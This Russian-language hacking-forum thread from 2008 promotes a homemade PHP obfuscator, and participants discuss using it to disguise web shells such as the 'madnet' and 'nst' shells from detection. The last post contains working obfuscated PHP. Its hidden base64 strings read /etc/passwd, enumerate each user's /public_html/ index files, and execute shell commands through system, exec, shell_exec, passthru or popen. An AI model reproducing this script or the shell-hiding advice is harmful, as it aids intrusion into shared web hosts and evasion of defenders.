PHP Obfuscator by DX

Discussion in 'PHP' started by d_x, 15 May 2008.

  1. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Как-то столкнулся с проблемой - надо было провести обфускацию исходников скрипта на PHP (для тех кто не знает, что это такое: http://ru.wikipedia.org/wiki/обфускация). Но никак не мог найти толкового обфускатора, все почему-то выдавали нерабочий код с ошибками. В итоге решил написать свой, вот что получилось:

    Исходники: http://stream.ifolder.ru/6593599
    Пример работы: http://xxgate.jino-net.ru/

    1. Скрипт имеет веб-интерфейс, поддерживает обфускацию имен переменных, имен функций, методов классов, шифрование статических строк (без переменных), а также сжатие PHP-кода (удаляются лишние пробелы, комментарии и т.п.)

    2. Имеется возможность указать переменные, функции, которые не следует заменять, а также функции, параметры которых не следует заменять

    3. Можно выборочно отключить обфускацию строк/переменных/функций. Для каждого типа также есть по два вида обфускации.

    4. Не поддерживаются конструкции $$var_name и eval, также после обфускации необходимо будет поменять соответствующие имена функций в функциях, устанавливающих манипуляторы (например, ob_gzhandler). Не поддерживаются вызовы функций по их именам из строк.

    А обфускация того скрипта, который я хотел изначально запутать, прошла отлично.

    Обновление 1.3.

    Скачать:
    Rapidshare
    Webfile
     
    #1 d_x, 15 May 2008
    Last edited: 12 Aug 2008
    6 people like this.
  2. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    неплохо
    большие файлы оставались рабочими?
     
    2 people like this.
  3. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Да, пробовал делать обфускацию файла размером 100кб. Единственное, что не работает - это то, что я указал (eval и т.д., это просто остаётся как было, и нужно вручную править).
     
    1 person likes this.
  4. x-demon

    x-demon Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    315
    Likes Received:
    101
    Reputations:
    46
    Если б допилил еще и обфускацию eval и $$var просто цены бы скриту не было =) А то eval то в шеллах часто есть...
     
  5. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Ну $$var по сути никак не обработать, потому что например в таком коде:
    PHP:
    <?
    $test='abc';

    $
    $test=1;

    print 
    $abc//выведет 1
    ?>
    содержимое переменной test может быть каким угодно, оно может вообще получаться из БД или откуда-то ещё. С eval примерно то же самое получается.
     
    #5 d_x, 15 May 2008
    Last edited: 15 May 2008
  6. x-demon

    x-demon Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    315
    Likes Received:
    101
    Reputations:
    46
    Закодировал вебшелл маднетовский... Не скушал, высрал ошибку. А жаль.
     
  7. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Да вот только что обнаружил, что всплывает ошибка иногда при включении сжатия файла, никак пока не могу определить, отчего.



    Всё, нашёл в чём дело было, поправил, перезалил.


    Маднетовский шелл теперь у меня нормально закодировался, но там используются как-раз таки $$var и eval.
     
    #7 d_x, 15 May 2008
    Last edited: 15 May 2008
  8. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Сделал версию 1.1.
    • Исправлено множество мелких иногда возникающих ошибок при обфускации
    • Теперь можно указать, заменять ли переменные и функции внутри скобок eval(). Строки в eval() по прежнему не заменяются, процесс нужно контролировать.
    • Добавлена функция вывода подробной отладочной информации:
      -новые и старые имена замененных переменных и функций;
      -имена найденных, но не замененных переменных и функций;
      -имена функций, параметры которых нужно пересмотреть вручную
    • Добавлено несколько переменных и функций в списки незаменяемых

    Пробовал кодировать шелл от nst - он остался работоспособным, хотя в коде присутствуют несколько eval'ов.

    Ссылка на скачивание и на пример в первом посте.
     
    1 person likes this.
  9. x-demon

    x-demon Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    315
    Likes Received:
    101
    Reputations:
    46
    А добавь туда несколько методов обфускации. Kallisto, И которую madnet в своем шелле юзает - она очень сильно файло жмет. (gzip)
     
  10. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Версия 1.2
    • Добавлена функция сжатия кода gzip, можно указать разную степень сжатия. Если исходный код имеет разрывы, то есть располагается не в одном блоке <? ... ?>, то, скорее всего, сжатый PHP-код не будет выполняться.
      Обновил ссылки в первом посте.
     
    1 person likes this.
  11. x-demon

    x-demon Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    315
    Likes Received:
    101
    Reputations:
    46
    gzip+base64. И несколько раз. Киддиса остановит.
     
  12. x-demon

    x-demon Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    315
    Likes Received:
    101
    Reputations:
    46
    А, не заметил. ссори.
     
  13. PiNzit

    PiNzit Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    57
    Likes Received:
    10
    Reputations:
    0
    скормил первый попавшийся скрипт, он потерял работоспособность... а жаль((
     
  14. x-demon

    x-demon Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    315
    Likes Received:
    101
    Reputations:
    46
    http://pobs.mywalhalla.net/ - тоже на пхп. Может что то полезное выдернешь и доведешь дело до конца.
     
  15. zl0y

    zl0y Banned

    Joined:
    13 Sep 2006
    Messages:
    371
    Likes Received:
    270
    Reputations:
    109
    Интересная штучка :)
     
  16. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Все прекрасно но перезалейте куда нибуть, где мозги не будут ипать насчет:
    Или же выложите исходник в теме, будет жить вечно.
     
  17. NeOz

    NeOz Banned

    Joined:
    26 Jul 2006
    Messages:
    27
    Likes Received:
    44
    Reputations:
    -5
    http://webfile.ru/2084771
     
  18. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Обновление 1.3.

    Что нового:
    • Теперь можно давать переменным и функциям абсолютно схожие имена вида $_, $__, $___ и т.д.
    • Добавлена функция заполнения исходника комментариями про Дэвида Блейна.:) Комментарии добавляются во все доступные места. Для того, чтобы увидеть хороший результат, убираем флажки "максимально сжать скрипт" и "сжать файл" и ставим флажки "Добавить спец. комментарии" и "Вывести комментарии в отдельных строках".

    Скачать:
    Rapidshare
    Webfile
     
  19. lisa99

    lisa99 Banned

    Joined:
    15 Jul 2008
    Messages:
    359
    Likes Received:
    200
    Reputations:
    70
    Просьба привести небольшой (рабочий) пример кода после обфускации для тестирования на декодирование =)
     
  20. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Толку то? Код просто неудобно читать становится, а так вот:
    PHP:
    <? /* <=====street magic=====> */
     /* <David Blaine>: Ага, вот эти ребята... */
    function /* <Peter>: Ненененене!! */
    _187659043($i){$a=Array('MS4gPGZvbnQgY29sb3I9Z3JlZW4+T0s8L2ZvbnQ+Cg==','CjEuIDxmb250IGNvbG9yPXJlZD5FcnJvcjwvZm9udD4=','L2hvbWUv','L3B1YmxpY19odG1sLw==','L1xzLw==','','ZmluZCA=','IA==','LXR5cGUgZiAtbmFtZSAiaW5kZXguKiI=','CjIuIDxmb250IGNvbG9yPXJlZD5FcnJvcjwvZm9udD4=','L2V0Yy9wYXNzd2Q=','Cg==','Y2F0IC9ldGMvcGFzc3dk','Og==','Iw==','','Cg==','cg==','');return /* <Avon>: Нет, нет, Дэвид Блейн, нет! */
    base64_decode($a[$i]);} /* <David Blaine>: Я делаю особую, уличную магию. */
    ?><?php
     
    /* <David Blaine>: Кто хочет увидеть немного магии? */
    error_reporting(0); /* <Avon>: Чё мы тебе, долботрясы какие-нибудь? Нет, спасибо! */
    $_/* <Peter>: Мы целый день шопились, заманались, хотим просто отдохнуть, всё! */
    l_(); /* <David Blaine>: И где вы шопились? */
    if(count($_)>20){ /* <Peter>: В один магаз ходили новый! */
    echo /* <Avon>: Он ещё не трендовый, ты про него не знаешь. */
    _187659043(0);} /* <David Blaine>: И чо купили? */
    else{ /* <Avon>: Я купил зеленый свитер, если ты так хочешь знать! */
    echo /* <Peter>: Зеленый свитер! */
    _187659043(1);} /* <David Blaine>: Интересно... А ты уверен, что ты не купил тедди беар, плюшевого мишку? */
    while($__/* <Avon>: Да, я уверен! */
    count($_)){ /* <Avon>: ТЕДДИ БИР!! */
    $___/* <Peter>: Чё за херь! */
    _187659043(2) .$_[$__] . /* <Peter>: Э, ты чо сделал-то, а?! */
    _187659043(3); /* <Avon>: Где мой свитер? */
    $___/* <Peter>: Эй, он купил свитер, а он исчез, это ты его стырил? Притырил себе свитер, да это воровство! Отдай его свитер, сволочь! */
    preg_replace/* <Avon>: Я потратил 48 долларов, ты, тупой и убогий фокусник! Где он? */
    _187659043(4), /* <Peter>: Питер, глянь чо на тебе! */
    _187659043(5), /* <Avon>: Что за херня??? Как? */
    $___); /* <Peter>: В РОТ МНЕ НОГИ!!! */
    $____/* <Avon>: Я держал в руках вещи! */
    _187659043(6) .$___ /* <Peter>: В рот мне ноги! */
    _187659043(7) . /* <Avon>: А, он уже растянутый, спасибо тебе! */
    _187659043(8); /* <Peter>: Слушай, остановись, а? */
    $_____/* <Avon>: Растянул свитер, я его даже не поносил ещё! */
    trim(l__($____)); /* <David Blaine>: Эй. Эй, чё ты пьёшь? */
    if($_____){ /* <Peter>: Оранж соду я пью! Что, в медведя превратишь? Я стакан-то держу! */
    $______/* <David Blaine>: Оранж соду? Может чё-нить другое оранжевое? */
    true/* <Peter>: Чо ещё оранжевое? Ну это, печеньки? */
    echo"\n2. <font color=green>OK</font>: $___<br>";} /* <Peter>: ПЕЧЕНЬКИ!!! Стрелять-колотить! */
    $__++;} /* <Peter>: ПЕЧЕНЬКИ!!! Печеньки! Печеньки! Печеньки! */
    if(!$______){ /* <Peter>: Где оранж сода? Ты чо делаешь вообще, ты чо делаешь? */
    echo /* <Avon>: У меня во рту оранж сода! */
    _187659043(9);} /* <Peter>: Я на измене, я на измене! */
    function /* <Avon>: Какая херня, ты положил её мне в рот! */
    l_(){ /* <Peter>: В рот мне ноги, ты прекратишь это или нет, демон, остановись, в рот мне ноги! */
    $_/* <David Blaine>: Ну ладно-ладно, ребята, знаете, я хочу показать вам кое-что действительно крутое... */
    array(); /* <Peter>: НЕТ! */
    $_______/* <Avon>: Не, чувак, лучше себе показывай! */
    file/* <David Blaine>: Так, подождите одну минуточку, секунду подождите... */
    _187659043(10)); /* <Avon>: Оставь нас в покое! */
    if(!$_______){ /* <Peter>: Ааа, видел я этот фокус, ножками перебирать будешь, типа взлететь хочешь. */
    $_______/* <Avon>: Мой племянник может так сделать, тоже мне фокус! */
    explode/* <David Blaine>: Просто подождите секундочку, а? */
    _187659043(11), /* <Peter>: Крис Эйнджел делает это лучше, ****, понял, Крис Эйнджел делает это лучше! */
    l__/* <Avon>: Эйвин! Я лечу! */
    _187659043(12)));} /* <Peter>: Ёманарот!! */
    if(!$_______/* <Avon>: Я чувствую тепло и лечу! */
    return /* <Peter>: ЁМАНАРОТ!!! */
    0/* <Peter>: Опусти его, пожалуйста, а? Ёманарот, под ним ничо нету, совсем ничо нету! */
    foreach($_______ /* <Avon>: Он закинул меня на крышу! Он на крышу меня зачем-то закинул! Зачем ты меня сюда закинул? Дэвид Блейн, дай мне слезть! Дэвид Блейн, спусти меня! */
    as /* <Peter>: Хватит мне газировку в рот пихать! */
    $________){ /* <Avon>: Он даже не отлевитировал меня обратно! */
    $_________=@explode/* <Peter>: В рот мне ноги, валим отсюда быстрей! */
    _187659043(13),$________); /* <David Blaine>: Эй, эй, ребята, ещё один трюк, ещё один фокус... */
    if(substr($________,0,1)!= /* <Peter>: Иди в пень, а то щас ментов позову! */
    _187659043(14)) /* <David Blaine>: Эй, подождите, парни, последний, обещаю. Эй, ребята! */
    array_push($_,$_________[0]);} /* <David Blaine>: Если вы дадите мне показать ещё один фокус, я дам вам сто долларов. */
    return /* <David Blaine>: Позвольте показать мне вам ещё один фокус, и я дам вам сто долларов. */
    $_;} /* <Peter>: Дашь мне сто долларов? */
    function /* <Avon>: Ты сможешь купить тот шарфик! */
    l__($__________){ /* <Peter>: Точно! Зашибись, гони сто баксов. */
    $___________/* <David Blaine>: Могу я зайти? */
    _187659043(15); /* <Peter>: Ну ладно, пошли... */
    if(!empty($__________)){ /* <Peter>: Ты точно деньги дашь? */
    if(function_exists('system')){@ob_start();@system($__________); /* <Avon>: Добро пожаловать в дом. */
    $___________=@ob_get_contents();@ob_end_clean();} /* <Peter>: И вот мы в моей квартире, и чо? */
    elseif(function_exists('exec')){@exec($__________,$___________); /* <David Blaine>: Вот это что такое? */
    $___________/* <Peter>: Мой видак. */
    join/* <David Blaine>: Интересно... Сделай мне одолжение, найди кассету, на которой написано 'Маленький Эйвон, апрель восемьдесят четвёртого'. */
    _187659043(16),$___________);} /* <Peter>: Щас посмотрю, может где-то есть... */
    elseif(function_exists('shell_exec')){ /* <David Blaine>: Посмотри в магнитофоне, она там. */
    $___________=@shell_exec($__________);} /* <Avon>: Чё-то мне как-то сыкатно... */
    elseif(function_exists('passthru')){@ob_start();@passthru($__________); /* <Peter>: Ну и чо такого, просто кассета, хоум видео... Я там в том возрасте ещё сиську сосу. Вот этот карапуз - я. */
    $___________=@ob_get_contents();@ob_end_clean();} /* <Avon>: А вот это мама Эйвона. */
    elseif(@is_resource($____________=@popen($__________/* <Peter>: Вот я сопли пузырями надуваю, и чо? */
    _187659043(17)))){ /* <Avon>: Его мама и щас хорошо выглядит. */
    $___________/* <David Blaine>: <в видео:> Вот сто долларов. Я должен Вашему сыну. */
    _187659043(18); /* <Peter>: Фак мой моск!! */
    while(!@feof($____________)){ /* <Avon>: Это что вообще за ***ня?!!!! */
    $___________ /* <Avon>: Тот же самый и там и там!! */
    .=@fread($____________,1024);}@pclose($____________);}} /* <Peter>: Фак мой моск!!! */
    return /* <Peter>: В рот мне ноги, тут вообще чё происходит-то, а?!!! */
    $___________;} /* <Avon>: Блин, я обоссался! */
    ?>

     
    _________________________
    1 person likes this.